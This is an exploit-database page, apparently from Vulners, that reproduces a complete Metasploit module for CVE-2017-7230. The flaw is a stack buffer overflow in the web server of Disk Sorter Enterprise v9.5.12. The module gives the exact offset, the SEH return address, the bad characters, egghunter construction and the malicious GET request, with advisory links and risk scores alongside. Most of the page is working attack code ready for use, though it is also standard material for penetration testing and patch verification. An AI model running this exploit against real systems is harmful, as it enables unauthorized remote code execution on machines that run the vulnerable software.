Lucene search
+L

Disk Sorter Enterprise GET Buffer Overflow

🗓️ 15 Mar 2017 00:00:00Reported by Daniel TeixeiraType 
metasploit
 metasploit
🔗 www.rapid7.com👁 20 Views

Disk Sorter Enterprise GET Buffer Overflow in Web Interface. Exploits a stack-based buffer overflow vulnerability in Disk Sorter Enterprise v9.5.12 web server due to improper bounds checking of HTTP GET requests. Tested on Windows 7 SP1 x86

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2017-7230
29 May 201815:50
circl
cnvd
CNVD
Disk Sorter Enterprise 'GET' Buffer Overflow Vulnerability
23 Mar 201700:00
cnvd
cve
CVE
CVE-2017-7230
22 Mar 201718:00
cve
cvelist
Cvelist
CVE-2017-7230
22 Mar 201718:00
cvelist
nvd
NVD
CVE-2017-7230
22 Mar 201718:59
nvd
openvas
OpenVAS
Disk Sorter Enterprise Server Buffer Overflow Vulnerability
2 Dec 201600:00
openvas
osv
OSV
CVE-2017-7230
22 Mar 201718:59
osv
prion
Prion
Buffer overflow
22 Mar 201718:59
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Disk Sorter Enterprise GET Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow vulnerability
          in the web interface of Disk Sorter Enterprise v9.5.12, caused by
          improper bounds checking of the request path in HTTP GET requests
          sent to the built-in web server. This module has been tested
          successfully on Windows 7 SP1 x86.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Daniel Teixeira'
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
          'Space' => 500
        },
        'References' => [
          [ 'CVE', '2017-7230' ]
        ],
        'Targets' => [
          [
            'Disk Sorter Enterprise v9.5.12',
            {
              'Offset' => 2488,
              'Ret' => 0x10051223 # POP # POP # RET [libspp.dll]
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2017-03-15',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/'
    )

    if res && res.code == 200
      version = res.body[/Disk Sorter Enterprise v[^<]*/]
      if version
        vprint_status("Version detected: #{version}")
        if version =~ /9\.5\.12/
          return Exploit::CheckCode::Appears("Detected vulnerable version: #{version}")
        end

        return Exploit::CheckCode::Detected("Target detected with version: #{version}")
      end
    else
      vprint_error('Unable to determine due to a HTTP connection timeout')
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Safe('Disk Sorter Enterprise not detected')
  end

  def exploit
    eggoptions = {
      checksum: true,
      eggtag: rand_text_alpha(4, payload_badchars)
    }

    hunter, egg = generate_egghunter(
      payload.encoded,
      payload_badchars,
      eggoptions
    )

    sploit = rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter
    sploit << make_nops(10)
    sploit << egg
    sploit << rand_text_alpha(5500)

    print_status('Sending request...')

    send_request_cgi(
      'method' => 'GET',
      'uri' => sploit
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Mar 2017 00:00Current
9High risk
Vulners AI Score9
CVSS 27.5
CVSS 39.8
EPSS0.13805
20